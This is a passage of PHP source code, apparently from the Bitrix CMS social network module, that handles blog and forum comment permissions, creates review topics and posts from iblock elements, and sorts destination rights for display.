						$strPostPermission = BLOG_PERMS_MODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "write_post"))
						$strPostPermission = BLOG_PERMS_WRITE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "premoderate_post"))
						$strPostPermission = BLOG_PERMS_PREMODERATE;
					elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "view_post"))
						$strPostPermission = BLOG_PERMS_READ;

					if($strPostPermission > BLOG_PERMS_DENY)
					{
						if (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "full_comment", $bCurrentUserIsAdmin) || $APPLICATION->GetGroupRight("blog") >= "W" || $arFields["USER_ID"] == $userID)
							$strPermission = BLOG_PERMS_FULL;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "moderate_comment"))
							$strPermission = BLOG_PERMS_MODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "write_comment"))
							$strPermission = BLOG_PERMS_WRITE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "premoderate_comment"))
							$strPermission = BLOG_PERMS_PREMODERATE;
						elseif (CSocNetFeaturesPerms::CanPerformOperation($userID, SONET_ENTITY_USER, $arFields["ENTITY_ID"], "blog", "view_comment"))
							$strPermission = BLOG_PERMS_READ;
					}
				}

				$UserIP = CBlogUser::GetUserIP();
				$path_to_post = ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP ? $arFields["PATH_TO_GROUP_MICROBLOG_POST"] : $arFields["PATH_TO_USER_MICROBLOG_POST"]);

				$arFieldsComment = Array(
					"POST_ID" => $arPost["ID"],
					"BLOG_ID" => $arBlog["ID"],
					"POST_TEXT" => $arFields["TEXT_MESSAGE"],
					"DATE_CREATE" => ConvertTimeStamp(time()+CTimeZone::GetOffset(), "FULL"),
					"AUTHOR_IP" => $UserIP[0],
					"AUTHOR_IP1" => $UserIP[1],
					"AUTHOR_ID" => $userID,
					"PARENT_ID" => false
				);

				if($strPermission == BLOG_PERMS_PREMODERATE)
				{
					$arFieldsComment["PUBLISH_STATUS"] = BLOG_PUBLISH_STATUS_READY;
					$strNotes = GetMessage("SONET_GL_ADD_COMMENT_BLOG_PREMODERATE");
				}

				$commentUrl = CComponentEngine::MakePathFromTemplate(
					htmlspecialcharsBack($path_to_post),
					array(
						"blog" => $arBlog["URL"],
						"post_id" => CBlogPost::GetPostID($arPost["ID"], $arPost["CODE"], $arFields["BLOG_ALLOW_POST_CODE"]),
						"user_id" => $arBlog["OWNER_ID"],
						"group_id" => ($arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP ? $arFields["ENTITY_ID"] : false)
					)
				);

				$arFieldsComment["PATH"] = $commentUrl.(strpos($arFieldsComment["PATH"], "?") !== false ? "&" : "?")."commentId=#comment_id##com#comment_id#";

				$commentId = CBlogComment::Add($arFieldsComment);
				if($strPermission == BLOG_PERMS_PREMODERATE)
					unset($commentId);

				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/comment/".$arPost["ID"]."/");
				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/post/".$arPost["ID"]."/");
				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/first_page/");
				BXClearCache(True, "/".SITE_ID."/blog/last_comments/");
				BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/rss_out/".$arPost["POST_ID"]."/C/");
				BXClearCache(True, "/".SITE_ID."/blog/last_messages/");
				BXClearCache(True, "/".SITE_ID."/blog/commented_posts/");
				BXClearCache(True, ComponentHelper::getBlogPostCacheDir(array(
					'TYPE' => 'posts_popular',
					'SITE_ID' => SITE_ID
				)));
			}
			else
				$strError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");
		}

		return array(
			"SOURCE_ID" => $commentId,
			"RATING_TYPE_ID" => "BLOG_COMMENT",
			"RATING_ENTITY_ID" => $commentId,
			"ERROR" => $strError,
			"NOTES"	=> $strNotes
		);
	}

	function AddComment_Files($arFields)
	{
		if (!CModule::IncludeModule("forum"))
			return false;

		if (!CModule::IncludeModule("iblock"))
			return false;

		$dbResult = CSocNetLog::GetList(
			array(),
			array("ID" => $arFields["LOG_ID"]),
			false,
			false,
			array("ID", "SOURCE_ID", "PARAMS")
		);

		$bFound = false;
		if ($arLog = $dbResult->Fetch())
		{
			if (strlen($arLog["PARAMS"]) > 0)
			{
				$arFieldsParams = explode("&", $arLog["PARAMS"]);
				if (is_array($arFieldsParams) && count($arFieldsParams) > 0)
				{
					foreach ($arFieldsParams as $tmp)
					{
						list($key, $value) = explode("=", $tmp);
						if ($key == "forum_id")
						{
							$FORUM_ID = intval($value);
							break;
						}
					}
				}
			}
			if ($FORUM_ID > 0 && intval($arLog["SOURCE_ID"]) > 0)
				$bFound = true;
		}

		if ($bFound)
		{
			$arElement = false;

			$arFilter = array("ID" => $arLog["SOURCE_ID"]);
			$arSelectedFields = array("IBLOCK_ID", "ID", "NAME", "TAGS", "CODE", "IBLOCK_SECTION_ID", "DETAIL_PAGE_URL",
					"CREATED_BY", "PREVIEW_PICTURE", "PREVIEW_TEXT", "PROPERTY_FORUM_TOPIC_ID", "PROPERTY_FORUM_MESSAGE_CNT");
			$db_res = CIBlockElement::GetList(array(), $arFilter, false, false, $arSelectedFields);
			if ($db_res && $res = $db_res->GetNext())
				$arElement = $res;

			if ($arElement)
			{
				// check iblock properties
				CSocNetLogTools::AddComment_Review_CheckIBlock_Forum($arElement);

				$dbMessage = CForumMessage::GetList(
					array(),
					array(
						"PARAM1" => "IB",
						"PARAM2" => $arElement["ID"]
					)
				);

				if (!$arMessage = $dbMessage->Fetch())
				{
					// Add Topic and Root Message
					$arForum = CForumNew::GetByID($FORUM_ID);
					$sImage = "";
					if (intVal($arElement["PREVIEW_PICTURE"]) > 0):
						$arImage = CFile::GetFileArray($arElement["PREVIEW_PICTURE"]);
						if (!empty($arImage))
							$sImage = ($arForum["ALLOW_IMG"] == "Y" ? "[IMG]".$arImage["SRC"]."[/IMG]" : '');
					endif;
					$sElementPreview = $arElement["~PREVIEW_TEXT"];
					if ($arForum["ALLOW_HTML"] != "Y")
						$sElementPreview = strip_tags($sElementPreview);

					$strFirstMessage = str_replace(array("#IMAGE#", "#TITLE#", "#BODY#"),
						array($sImage, $arElement["~NAME"], $sElementPreview),
						GetMessage("WD_TEMPLATE_MESSAGE"));

					$TOPIC_ID = CSocNetLogTools::AddComment_Review_CreateRoot_Forum($arElement, $FORUM_ID, true, $strFirstMessage);
					$bNewTopic = true;
				}
				else
					$TOPIC_ID = $arMessage["TOPIC_ID"];

				if(intval($TOPIC_ID) > 0)
				{
					// Add comment
					$messageID = false;
					$arFieldsMessage = array(
						"POST_MESSAGE" => $arFields["TEXT_MESSAGE"],
						"USE_SMILES" => "Y",
						"PARAM2" => $arElement["ID"],
						"APPROVED" => "Y"
					);
					$messageID = ForumAddMessage("REPLY", $FORUM_ID, $TOPIC_ID, 0, $arFieldsMessage, $sError, $sNote);

					if (!$messageID)
						$strError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");
					else
						CSocNetLogTools::AddComment_Review_UpdateElement_Forum($arElement, $TOPIC_ID, $bNewTopic);
				}
				else
					$strError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");
			}
			else
				$strError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");
		}
		else
			$strError = GetMessage("SONET_ADD_COMMENT_SOURCE_ERROR");

		return array(
			"SOURCE_ID" => $messageID,
			"RATING_TYPE_ID" => "FORUM_POST",
			"RATING_ENTITY_ID" => $messageID,
			"ERROR" => $strError,
			"NOTES" => ""
		);
	}

	public static function AddComment_Review_CheckIBlock($arElement)
	{
		return CSocNetLogTools::AddComment_Review_CheckIBlock_Forum($arElement);
	}

	function AddComment_Review_CheckIBlock_Forum($arElement)
	{
		if (!CModule::IncludeModule("iblock"))
			return false;

		if (!CModule::IncludeModule("forum"))
			return false;

		$needProperty = array();
		$ELEMENT_IBLOCK_ID = intVal($arElement["IBLOCK_ID"]);
		$ELEMENT_FORUM_TOPIC_ID = intVal($arElement["PROPERTY_FORUM_TOPIC_ID_VALUE"]);
		$ELEMENT_FORUM_MESSAGE_CNT = intVal($arElement["PROPERTY_FORUM_MESSAGE_CNT_VALUE"]);

		if ($ELEMENT_FORUM_TOPIC_ID <= 0):
			$db_res = CIBlockElement::GetProperty($ELEMENT_IBLOCK_ID, $arElement["ID"], false, false, array("CODE" => "FORUM_TOPIC_ID"));
			if (!($db_res && $res = $db_res->Fetch()))
				$needProperty[] = "FORUM_TOPIC_ID";
		endif;
		if ($ELEMENT_FORUM_MESSAGE_CNT <= 0):
			$db_res = CIBlockElement::GetProperty($ELEMENT_IBLOCK_ID, $arElement["ID"], false, false, array("CODE" => "FORUM_MESSAGE_CNT"));
			if (!($db_res && $res = $db_res->Fetch()))
				$needProperty[] = "FORUM_MESSAGE_CNT";
		endif;
		if (!empty($needProperty)):
			$obProperty = new CIBlockProperty;
			$res = true;
			foreach ($needProperty as $nameProperty)
			{
				$sName = trim($nameProperty == "FORUM_TOPIC_ID" ? GetMessage("F_FORUM_TOPIC_ID") : GetMessage("F_FORUM_MESSAGE_CNT"));
				$sName = (empty($sName) ? $nameProperty : $sName);
				$res = $obProperty->Add(array(
					"IBLOCK_ID" => $ELEMENT_IBLOCK_ID,
					"ACTIVE" => "Y",
					"PROPERTY_TYPE" => "N",
					"MULTIPLE" => "N",
					"NAME" => $sName,
					"CODE" => $nameProperty
					)
				);
			}
		endif;

		// Set NULL for topic_id if it was deleted
		if ($ELEMENT_FORUM_TOPIC_ID > 0):
			$arTopic = CForumTopic::GetByID($ELEMENT_FORUM_TOPIC_ID);
			if (!$arTopic || !is_array($arTopic) || count($arTopic) <= 0)
			{
				CIBlockElement::SetPropertyValues($arElement["ID"], $ELEMENT_IBLOCK_ID, 0, "FORUM_TOPIC_ID");
				$ELEMENT_FORUM_TOPIC_ID = 0;
			}
		endif;

		return true;
	}

	public static function AddComment_Review_CheckIBlock_Blog($arElement)
	{
		if (!CModule::IncludeModule("iblock"))
			return false;

		if (!CModule::IncludeModule("blog"))
			return false;

		$needProperty = array();
		$ELEMENT_IBLOCK_ID = intVal($arElement["IBLOCK_ID"]);
		$ELEMENT_BLOG_POST_ID = intVal($arElement["PROPERTY_BLOG_POST_ID_VALUE"]);
		$ELEMENT_BLOG_COMMENT_CNT = intVal($arElement["PROPERTY_BLOG_COMMENT_CNT_VALUE"]);

		if ($ELEMENT_BLOG_POST_ID <= 0):
			$db_res = CIBlockElement::GetProperty($ELEMENT_IBLOCK_ID, $arElement["ID"], false, false, array("CODE" => "BLOG_POST_ID"));
			if (!($db_res && $res = $db_res->Fetch()))
				$needProperty[] = "BLOG_POST_ID";
		endif;
		if ($ELEMENT_BLOG_COMMENT_CNT <= 0):
			$db_res = CIBlockElement::GetProperty($ELEMENT_IBLOCK_ID, $arElement["ID"], false, false, array("CODE" => "BLOG_COMMENT_CNT"));
			if (!($db_res && $res = $db_res->Fetch()))
				$needProperty[] = "BLOG_COMMENT_CNT";
		endif;
		if (!empty($needProperty)):
			$obProperty = new CIBlockProperty;
			$res = true;
			foreach ($needProperty as $nameProperty)
			{
				$sName = trim($nameProperty == "BLOG_POST_ID" ? GetMessage("P_BLOG_POST_ID") : GetMessage("P_BLOG_COMMENTS_CNT"));
				$sName = (empty($sName) ? $nameProperty : $sName);
				$res = $obProperty->Add(array(
					"IBLOCK_ID" => $ELEMENT_IBLOCK_ID,
					"ACTIVE" => "Y",
					"PROPERTY_TYPE" => "N",
					"MULTIPLE" => "N",
					"NAME" => $sName,
					"CODE" => $nameProperty
					)
				);
			}
		endif;

		// Set NULL for post_id if it was deleted
		if ($ELEMENT_BLOG_POST_ID > 0):
			$arTopic = CBlogPost::GetByID($ELEMENT_BLOG_POST_ID);
			if (!$arTopic || !is_array($arTopic) || count($arTopic) <= 0)
			{
				CIBlockElement::SetPropertyValues($arElement["ID"], $ELEMENT_IBLOCK_ID, 0, "BLOG_POST_ID");
				$ELEMENT_BLOG_POST_ID = 0;
			}
		endif;

		return $ELEMENT_BLOG_POST_ID;
	}

	public static function AddComment_Review_CreateRoot($arElement, $forumID, $bPostFirstMessage = false, $strFirstMessage = "")
	{
		return CSocNetLogTools::AddComment_Review_CreateRoot_Forum($arElement, $forumID, $bPostFirstMessage, $strFirstMessage);
	}

	function AddComment_Review_CreateRoot_Forum($arElement, $forumID, $bPostFirstMessage = false, $strFirstMessage = "")
	{
		global $DB;

		if (!CModule::IncludeModule("forum"))
			return false;

		if ($bPostFirstMessage && strlen($strFirstMessage) <= 0)
			return false;

		// Add Topic
		$arUserStart = array(
			"ID" => intVal($arElement["~CREATED_BY"]),
			"NAME" => $GLOBALS["FORUM_STATUS_NAME"]["guest"]
		);
		if ($arUserStart["ID"] > 0)
		{
			$res = array();
			$db_res = CForumUser::GetListEx(array(), array("USER_ID" => $arElement["~CREATED_BY"]));
			if ($db_res && $res = $db_res->Fetch()):
				$res["FORUM_USER_ID"] = intVal($res["ID"]);
				$res["ID"] = $res["USER_ID"];
			else:
				$db_res = CUser::GetByID($arElement["~CREATED_BY"]);
				if ($db_res && $res = $db_res->Fetch()):
					$res["SHOW_NAME"] = COption::GetOptionString("forum", "USER_SHOW_NAME", "Y");
					$res["USER_PROFILE"] = "N";
				endif;
			endif;
			if (!empty($res)):
				$arUserStart = $res;
				$sName = ($res["SHOW_NAME"] == "Y" ? trim($res["NAME"]." ".$res["LAST_NAME"]) : "");
				$arUserStart["NAME"] = (empty($sName) ? trim($res["LOGIN"]) : $sName);
			endif;
		}
		$arUserStart["NAME"] = (empty($arUserStart["NAME"]) ? $GLOBALS["FORUM_STATUS_NAME"]["guest"] : $arUserStart["NAME"]);

		$DB->StartTransaction();
		$arFields = Array(
			"TITLE" => $arElement["~NAME"],
			"TAGS" => $arElement["~TAGS"],
			"FORUM_ID" => $forumID,
			"USER_START_ID" => $arUserStart["ID"],
			"USER_START_NAME" => $arUserStart["NAME"],
			"LAST_POSTER_NAME" => $arUserStart["NAME"],
			"APPROVED" => "Y",
			"XML_ID" => "IBLOCK_".$arElement["ID"]
		);

		if (
			isset($arElement["ENTITY_TYPE"])
			&& $arElement["ENTITY_TYPE"] == SONET_ENTITY_GROUP
			&& isset($arElement["ENTITY_ID"])
			&& intval($arElement["ENTITY_ID"]) > 0
		)
		{
			$arFields["SOCNET_GROUP_ID"] = intval($arElement["ENTITY_ID"]);
		}

		$TOPIC_ID = CForumTopic::Add($arFields);

		if ($bPostFirstMessage && intVal($TOPIC_ID) > 0)
		{
			if (COption::GetOptionString("forum", "FILTER", "Y") == "Y")
				$strFirstMessage = CFilterUnquotableWords::Filter($strFirstMessage);

			// Add post as new message
			$arFields = Array(
				"POST_MESSAGE" => $strFirstMessage,
				"AUTHOR_ID" => $arUserStart["ID"],
				"AUTHOR_NAME" => $arUserStart["NAME"],
				"FORUM_ID" => $forumID,
				"TOPIC_ID" => $TOPIC_ID,
				"APPROVED" => "Y",
				"NEW_TOPIC" => "Y",
				"PARAM1" => "IB",
				"PARAM2" => intVal($arElement["ID"])
			);
			$MID = CForumMessage::Add($arFields, false, array("SKIP_INDEXING" => "Y", "SKIP_STATISTIC" => "N"));

			if (intVal($MID) <= 0)
			{
				$arError[] = array(
					"code" => "message is not added 1",
					"title" => GetMessage("F_ERR_ADD_MESSAGE"));
				CForumTopic::Delete($TOPIC_ID);
				$TOPIC_ID = 0;
			}
		}
		elseif (intVal($TOPIC_ID) <= 0)
		{
			$DB->Rollback();
			return false;
		}

		$DB->Commit();

		return $TOPIC_ID;
	}

	public static function AddComment_Review_CreateRoot_Blog($arElement, $blogID)
	{
		if (!CModule::IncludeModule("blog"))
			return false;

		$arBlog = CBlog::GetByID($blogID);

		$arElement["DETAIL_PICTURE"] = CFile::GetFileArray($arElement["DETAIL_PICTURE"]);
		$arElement["REAL_PICTURE"] = CFile::GetFileArray($arElement["PROPERTY_REAL_PICTURE_VALUE"]);

		if (!empty($arElement["TAGS"]))
		{
			$arCategoryVal = explode(",", $arElement["TAGS"]);
			foreach($arCategoryVal as $k => $v)
			{
				if ($id = CBlogCategory::Add(array("BLOG_ID" => $arBlog["ID"],"NAME" => $v)))
					$arCategory[] = $id;
			}
		}

		$arFields=array(
			"TITLE" => $arElement["NAME"],
			"DETAIL_TEXT" =>
				"[IMG]http://".$_SERVER['HTTP_HOST'].$arElement["DETAIL_PICTURE"]["SRC"]."[/IMG]\n".
				"[URL=http://".$_SERVER['HTTP_HOST'].$arElement["~DETAIL_PAGE_URL"]."]".$arElement["NAME"]."[/URL]\n".
				(!empty($arElement["TAGS"]) ? $arElement["TAGS"]."\n" : "").
				$arElement["~DETAIL_TEXT"]."\n".
				"[URL=http://".$_SERVER['HTTP_HOST'].$arElement["REAL_PICTURE"]["SRC"]."]".GetMessage("P_ORIGINAL")."[/URL]",
			"CATEGORY_ID" => implode(",", $arCategory),
			"PUBLISH_STATUS" => "P",
			"PERMS_POST" => array(),
			"PERMS_COMMENT" => array(),
			"=DATE_CREATE" => $GLOBALS["DB"]->GetNowFunction(),
			"=DATE_PUBLISH" => $GLOBALS["DB"]->GetNowFunction(),
			"AUTHOR_ID" =>	(!empty($arElement["CREATED_BY"]) ? $arElement["CREATED_BY"] : 1),
			"BLOG_ID" => $arBlog["ID"],
			"ENABLE_TRACKBACK" => "N"
		);

		$POST_ID = CBlogPost::Add($arFields);

		return $POST_ID;
	}

	public static function AddComment_Review_UpdateElement($arElement, $topicID, $bNewTopic)
	{
		CSocNetLogTools::AddComment_Review_UpdateElement_Forum($arElement, $topicID, $bNewTopic);
	}

	function AddComment_Review_UpdateElement_Forum($arElement, $topicID, $bNewTopic)
	{
		if (!CModule::IncludeModule("forum"))
			return false;

		if ($bNewTopic):
			CIBlockElement::SetPropertyValues($arElement["ID"], $arElement["IBLOCK_ID"], intVal($topicID), "FORUM_TOPIC_ID");
			$FORUM_MESSAGE_CNT = 1;
		else:
			$FORUM_MESSAGE_CNT = CForumMessage::GetList(array(), array("TOPIC_ID" => $topicID, "APPROVED" => "Y", "!PARAM1" => "IB"), true);
		endif;
		CIBlockElement::SetPropertyValues($arElement["ID"], $arElement["IBLOCK_ID"], intVal($FORUM_MESSAGE_CNT), "FORUM_MESSAGE_CNT");
		ForumClearComponentCache("bitrix:forum.topic.reviews");
	}

	public static function AddComment_Review_UpdateElement_Blog($arElement, $postID, $blogID, $bNewPost)
	{
		if (!CModule::IncludeModule("blog"))
			return false;

		if ($bNewPost):
			CIBlockElement::SetPropertyValues($arElement["ID"], $arElement["IBLOCK_ID"], intVal($postID), "BLOG_POST_ID");
			$BLOG_COMMENT_CNT = 1;
		else:
			$BLOG_COMMENT_CNT = CBlogComment::GetList(array(), array("POST_ID" => $postID), array());
		endif;

		CIBlockElement::SetPropertyValues($arElement["ID"], $arElement["IBLOCK_ID"], intVal($BLOG_COMMENT_CNT), "BLOG_COMMENT_CNT");

		$arBlog = CBlog::GetByID($blogID);

		BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/comment/".$postID."/");
		BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/post/".$postID."/");
		BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/first_page/");
		BXClearCache(True, "/".SITE_ID."/blog/last_comments/");
		BXClearCache(True, "/".SITE_ID."/blog/".$arBlog["URL"]."/rss_out/".$postID."/C/");
		BXClearCache(True, "/".SITE_ID."/blog/last_messages/");
		BXClearCache(True, "/".SITE_ID."/blog/commented_posts/");
		BXClearCache(True, ComponentHelper::getBlogPostCacheDir(array(
			'TYPE' => 'posts_popular',
			'SITE_ID' => SITE_ID
		)));
	}

	function OnAfterPhotoUpload($arFields, $arComponentParams, $arComponentResult)
	{
		CSocNetLogToolsPhoto::OnAfterPhotoUpload($arFields, $arComponentParams, $arComponentResult);
	}

	function OnAfterPhotoDrop($arFields, $arComponentParams)
	{
		CSocNetLogToolsPhoto::OnAfterPhotoDrop($arFields, $arComponentParams);
	}

	function OnBeforeSectionDrop($sectionID, $arComponentParams, $arComponentResult, &$arSectionID, &$arElementID)
	{
		CSocNetLogToolsPhoto::OnBeforeSectionDrop($sectionID, $arComponentParams, $arComponentResult, $arSectionID, $arElementID);
	}

	function OnAfterSectionDrop($ID, $arFields, $arComponentParams, $arComponentResult)
	{
		CSocNetLogToolsPhoto::OnAfterSectionDrop($ID, $arFields, $arComponentParams, $arComponentResult);
	}

	function OnAfterSectionEdit($arFields, $arComponentParams, $arComponentResult)
	{
		CSocNetLogToolsPhoto::OnAfterSectionEdit($arFields, $arComponentParams, $arComponentResult);
	}

	public static function FormatDestinationFromRights($arRights, $arParams, &$iMoreCount = false)
	{
		static $arDepartmentsStaticCache = array();

		if (empty($arRights))
		{
			return array();
		}

		$arDestination = array();
		$arSonetGroups = array();

		$bCheckPermissions = (
			!array_key_exists("CHECK_PERMISSIONS_DEST", $arParams)
			|| $arParams["CHECK_PERMISSIONS_DEST"] != "N"
		);

		if (!function_exists("__DestinationRightsSort"))
		{
			function __DestinationRightsSort($a, $b)
			{
				if ($a == $b)
					return 0;
				elseif (preg_match('/^US\d+$/', $a))
					return -1;
				elseif (in_array($a, array("G2", "AU")))
				{
					if (in_array($b, array("G2", "AU")))
						return 0;
					elseif (preg_match('/^US\d+$/', $b))
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^CRMDEAL\d+$/', $a))
				{
					if (preg_match('/^CRMDEAL\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^CRMCONTACT\d+$/', $a))
				{
					if (preg_match('/^CRMCONTACT\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^CRMDEAL\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^CRMCOMPANY\d+$/', $a))
				{
					if (preg_match('/^CRMCOMPANY\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^CRMLEAD\d+$/', $a))
				{
					if (preg_match('/^CRMLEAD\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $a))
				{
					if (preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
						|| preg_match('/^CRMLEAD\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^SG\d+_'.SONET_ROLES_MODERATOR.'$/', $a))
				{
					if (preg_match('/^SG\d+_'.SONET_ROLES_MODERATOR.'$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $b)
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
						|| preg_match('/^CRMLEAD\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^SG\d+_'.SONET_ROLES_OWNER.'$/', $a))
				{
					if (preg_match('/^SG\d+_'.SONET_ROLES_OWNER.'$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_MODERATOR.'$/', $b)
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
						|| preg_match('/^CRMLEAD\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^D\d+$/', $a))
				{
					if (preg_match('/^D\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_MODERATOR.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_OWNER.'$/', $b)
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
						|| preg_match('/^CRMLEAD\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif (preg_match('/^DR\d+$/', $a))
				{
					if (preg_match('/^DR\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_MODERATOR.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_OWNER.'$/', $b)
						|| preg_match('/^D\d+$/', $b)
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
						|| preg_match('/^CRMLEAD\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif(preg_match('/^U\d+$/', $a))
				{
					if (preg_match('/^U\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_MODERATOR.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_OWNER.'$/', $b)
						|| preg_match('/^D\d+$/', $b)
						|| preg_match('/^DR\d+$/', $b)
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
						|| preg_match('/^CRMLEAD\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				elseif(preg_match('/^G\d+$/', $a))
				{
					if (preg_match('/^G\d+$/', $b))
						return 0;
					elseif (
						preg_match('/^US\d+$/', $b)
						|| in_array($b, array("G2", "AU"))
						|| preg_match('/^SG\d+_'.SONET_ROLES_USER.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_MODERATOR.'$/', $b)
						|| preg_match('/^SG\d+_'.SONET_ROLES_OWNER.'$/', $b)
						|| preg_match('/^D\d+$/', $b)
						|| preg_match('/^DR\d+$/', $b)
						|| preg_match('/^U\d+$/', $b)
						|| preg_match('/^CRMDEAL\d+$/', $b)
						|| preg_match('/^CRMCONTACT\d+$/', $b)
						|| preg_match('/^CRMCOMPANY\d+$/', $b)
						|| preg_match('/^CRMLEAD\d+$/', $b)
					)
						return 1;
					else
						return -1;
				}
				else
					return 0;
			}
		}

		$arRights = array_unique($arRights);
		usort($arRights, "__DestinationRightsSort");

		$cnt = 0;
		$bAll = false;
		$bJustCount = false;

		$arGroupIdToGet = array();
		$arUserIdToGet = array();
		$arDepartmentIdToGet = array();
		$arSonetGroupIdToGet = array();

		$arParams["DESTINATION_LIMIT"] = (intval($arParams["DESTINATION_LIMIT"]) <= 0 ? 3 : $arParams["DESTINATION_LIMIT"]);

		$arModuleEvents = array();
		$db_events = GetModuleEvents("socialnetwork", "OnSocNetLogFormatDestination");
		while ($arEvent = $db_events->Fetch())
		{
			$arModuleEvents[] = $arEvent;
		}

		foreach($arRights as $right_tmp)
		{
			if ($cnt >= $arParams["DESTINATION_LIMIT"])
			{
				$bJustCount = true;
			}

			if (
				in_array($right_tmp, array("G1"))
				&& count($arRights) > 1
			)
			{
				continue;
			}

			elseif (
				preg_match('/^US\d+$/', $right_tmp, $matches)
				|| in_array($right_tmp, array("G2", "AU"))
			)
			{
				if ($bAll)
				{
					continue;
				}

				if (
					isset($arParams["USE_ALL_DESTINATION"])
					&& $arParams["USE_ALL_DESTINATION"]
					&& in_array($right_tmp, array("G2", "AU"))
				)
				{
					continue;
				}

				if (!$bJustCount)
				{
					$arDestination[] = array(
						"STYLE" => "all-users",
						"TITLE" => (
						IsModuleInstalled("intranet")
							? GetMessage("SONET_GL_DESTINATION_G2")
							: GetMessage("SONET_GL_DESTINATION_G2_BSM")
						)
					);
				}

				$bAll = true;
				$cnt++;
			}
			elseif (preg_match('/^G(\d+)$/', $right_tmp, $matches))
			{
				$cnt++;
				if (!$bJustCount)
				{
